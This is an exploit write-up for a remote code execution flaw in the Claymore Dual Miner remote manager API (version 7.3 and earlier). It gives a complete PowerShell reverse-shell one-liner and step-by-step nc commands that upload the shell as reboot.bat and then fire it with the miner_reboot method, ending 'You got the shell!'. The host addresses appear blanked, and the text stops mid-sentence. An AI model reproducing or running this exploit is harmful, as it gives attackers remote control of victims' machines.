nanopool Claymore Dual Miner version 7.3 and earlier contains a Remote Code Execution vulnerability in API that can result in RCE by abusing the remote manager API. This attack appear to be exploitable via The victim must run the miner with read/write mode enabled.


Suppose the miner is running on localhost on port 3333. First of all you need to convert a .bat string into hexadecimal format, for example, this one uses powershell to spawn a reverse shell on localhost listening on port 1234:

powershell.exe -Command "$client = New-Object System.Net.Sockets.TCPClient('',1234);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
Convert it into hexadecimal and paste it on the second parameter inside this string:
echo '{"id":0,"jsonrpc":"2.0","method":"miner_file","params":["reboot.bat","HEX_STRING"]}' | nc 3333 -v
Then, to trigger the vulnerability just send {"id":0,"jsonrpc":"2.0","method":"miner_reboot"}
string to the miner.
echo '{"id":0,"jsonrpc":"2.0","method":"miner_reboot"}' | nc 3333 -v
You got the shell!
This exploit works also on Linux, just substitute reboot.bat with reboot.bash or
